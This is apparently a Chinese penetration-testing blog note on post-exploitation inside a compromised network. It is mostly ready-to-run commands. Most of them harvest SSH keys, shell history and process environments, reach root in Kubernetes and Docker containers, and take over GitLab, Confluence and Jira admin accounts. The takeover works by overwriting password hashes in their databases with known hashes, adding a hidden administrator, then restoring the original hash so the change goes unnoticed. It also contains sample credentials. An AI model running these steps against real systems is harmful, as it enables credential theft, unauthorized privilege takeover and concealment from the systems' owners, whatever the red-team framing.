内网主机信息收集

在项目中有遇到拿到shell的情况下,看到主机名是gitlab或者是什么gitserver,通常都有k8s或者docker服务,先判断是本机启动的服务还是容器里面启动的服务,然后再到对应的地方找配置文件和数据库之类的,然后可以到应用内去找有价值的东西

可以看~/.ssh/底下的文件,有没有id_rsa,或者是看known_hosts曾经连接过一些什么机器,再看看/etc/hosts有没有给其他机器添加了解析,还有各种历史记录和配置文件也值得留意

1
2
3
4
5
6
7
8
9
10
~/.ssh/
~/.bash_history
/etc/hosts
ss -tl[n] #加-n参数不显示服务名,纯端口号
netstat -anp
ps -auxf / ps -ef 看进程启动命令
cat /proc/pid/environ 进程启动环境变量
cat /proc/pid/cmdline 进程启动命令
ls -al /proc/pid/exe 进程可执行文件符号连接
ls -al /proc/pid/fd 进程打开的文件(file descriptor)

K8S

当你在master节点,k8s也可以像docker一样exec

1
2
3
4
5
6
7
8
9
10
kubectl get pods   #查看所有正在运行的pod

NAME READY STATUS RESTARTS AGE
nginx-56b8c64cb4-t97vb 1/1 Running 3 1d

kubectl exec -it nginx-56b8c64cb4-t97vb -- /bin/bash #假如当前pod只有一个容器,运行以下命令即可

<3>假如一个pod里有多个容器,用--container or -c 参数。例如:假如这里有个Pod名为my-pod,这个Pod有两个容器,分别名为main-app 和 helper-app,下面的命令将打开到main-app的shell的容器里。

kubectl exec -it my-pod --container main-app -- /bin/bash

但是很多时候exec进去都不是root账户,这个时候我们需要找到实际启动容器的机器去

1
2
3
4
5
6
7
8
# 先找到pod的名称
kubectl get pods # 获取容器
kubectl get pods xxxx-xxx-001 # 查看容器信息
kubectl get pods [-n] xxxx-xxx-001 -o wide # 定位节点机器,输入-n会报错
# ssh到pod所在的节点
ssh k8s-node2 # ssh连接
docker ps -a | grep xxxx-xxx-001 # 查看docker容器
docker exec -it -u root [CONTAINER_ID] /bin/bash # exec进入容器

GitLab

代码仓库,看有没有重要系统的源码打包弄出来做代审

初始密码

Gitlab 14安装初始化后,默认账户名是root,密码存放在配置文件

/etc/gitlab/initial_root_password

这个文件将在首次执行reconfigure后24小时自动删除,文件内容:

1
2
3
4
5
6
7
8
9
10
[root@gitlab ~]# cat /etc/gitlab/initial_root_password 
# WARNING: This value is valid only in the following conditions
# 1. If provided manually (either via `GITLAB_ROOT_PASSWORD` environment variable or via `gitlab_rails['initial_root_password']` setting in `gitlab.rb`, it was provided before database was seeded for the first time (usually, the first reconfigure run).
# 2. Password hasn't been changed manually, either via UI or via command line.
#
# If the password shown here doesn't work, you must reset the admin password following https://docs.gitlab.com/ee/security/reset_user_password.html#reset-your-root-password.

Password: NdaWiHzufnlWDshXY+xI52q4Br0x2O+mAsTeU6V1694=

# NOTE: This file will be automatically deleted in the first reconfigure run after 24 hours.

修改管理员密码

默认数据库应用是PostgreSQL,数据库是gitlabhq_production,表是users,管理员默认的id是1,用户名是root

通常docker拉起的gitlab都会有gitlab-rails,gitlab-psql一系列的应用

image-20231215145458757

不考虑改回密码的情况

1
2
3
4
5
6
7
8
9
10
11
gitlab-rails console

user = User.find(1)
new_password = 'Aa12345678!'
user.password = new_password
user.password_confirmation = new_password
user.save!
user.attributes

得到Aa12345678!密文就是这个,后面能用到
"encrypted_password"=>"$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G"

image-20231218165752127

image-20231218170227084

考虑改回密码的情况

设置新密码为Aa12345678!,记得先查询一次保存旧密码的密文

1
2
3
4
5
6
7
8
9
10
11
gitlab-psql

\l
\c gitlabhq_production
select id,encrypted_password,name,username,admin from users where id=1;

-- 这一步是将密码更新为Aa12345678!
update users set encrypted_password='$2a$10$n6EWnwDjlab2YXrTc5ZdGu2OkwnE25qVS/tG2nHsvPGze5iPD317G' where id=1;

-- 这一步是恢复旧密码的密文
update users set encrypted_password='$2a$************************************vyy' where id=1;

image-20231218170847985

image-20231218171344087

Confluence

知识库系统,可以看有没有信息泄漏之类的东西

https://www.jianshu.com/p/7cc8ea59578a

默认配置文件位置:Linux:

1
/var/atlassian/application/data/confluence/confluence.cfg.xml

Windows:

1
C:/Atlassian/Application/Data/Confluence/confluence.cfg.xml

数据库操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
mysql -uroot -pRadBank@530
show databases;
use confluence;
select id,user_name,active,email_address,credential from cwd_user;

-- 在数据库里面查看管理员用户
select u.id, u.user_name, u.active from cwd_user u
join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id
where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';

-- 记得存一下原始密码
-- {PKCS5S2}xPqJ5enH/NPJfOyO2vUiQgoF0pRLl9R+HwxWC9zG3OjOXJbapmEl0+bEz/MelyLJ
-- 原始密码明文是123456

-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';

-- 密码是{PKCS5S2}前缀开头的,则用下面这个sql,这个管理员密码为 Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;

image-20231218171600217

用已知的密文进行替换

将管理员用户的密码修改为目前已知的明文密码的密文(不能直接在数据库中添加字段,否则在单个表中添加字段可能会出现问题)。

修改密码后,登陆后台,添加用户并将其加入管理员组。

最后,将管理员密码还原回去。

更改密码

登录后台——>用户管理——>添加用户——>加管理员组——>还原admin密码

参考文章:confluence后利用

Jira

项目与事务跟踪工具,经常和confluence一起出现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
mysql -uroot -pRadBank@530
show databases;
-- Jira数据库中,用户信息都存放在表 cwd_user中
-- 切换到jiar数据库
-- CREDENTIAL字段是加密后的密码
use jiradb;
-- 看看管理员用户信息,待会会用到
select id,user_name,active,email_address,credential from cwd_user;

-- 记得保存原始密码,信息收集完成之后改回
-- {PKCS5S2}dVBfve2TpngECXqQfQJJlnnfC9WwDB25vCaXlxvSy67m/Tv6NVNi29ON0PX5vvf0
-- 这个密码的明文也是123456

-- 无{PKCS5S2}的,更改密码为sphere
update cwd_user set credential='uQieO/1CGMUIXXftw3ynrsaYLShI+GTcPS4LdUGWbIusFvHPfUzD7CZvms6yMMvA8I7FViHVEqr6Mj4pCLKAFQ==' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为123456
update cwd_user set credential='{PKCS5S2}ms9AdSR9vnOXqnNdEmRG/kxRc22qTnx3Y/nwdyaNEg5/XAANouQ+akxcQbFjJiQ4' where user_name='XXXX';

-- 有{PKCS5S2}的,更改密码为Ab123456
update cwd_user set credential='{PKCS5S2}ltrb9LlmZ0QDCJvktxd45WgYLOgPt2XTV8X7av2p0mhPvIwofs9bHYVz2OXQ6/kF' where id=xxxxxx;

-- 最后记得复原密码
update cwd_user set credential='初始密码' where user_name='XXXX';

image-20231218171753903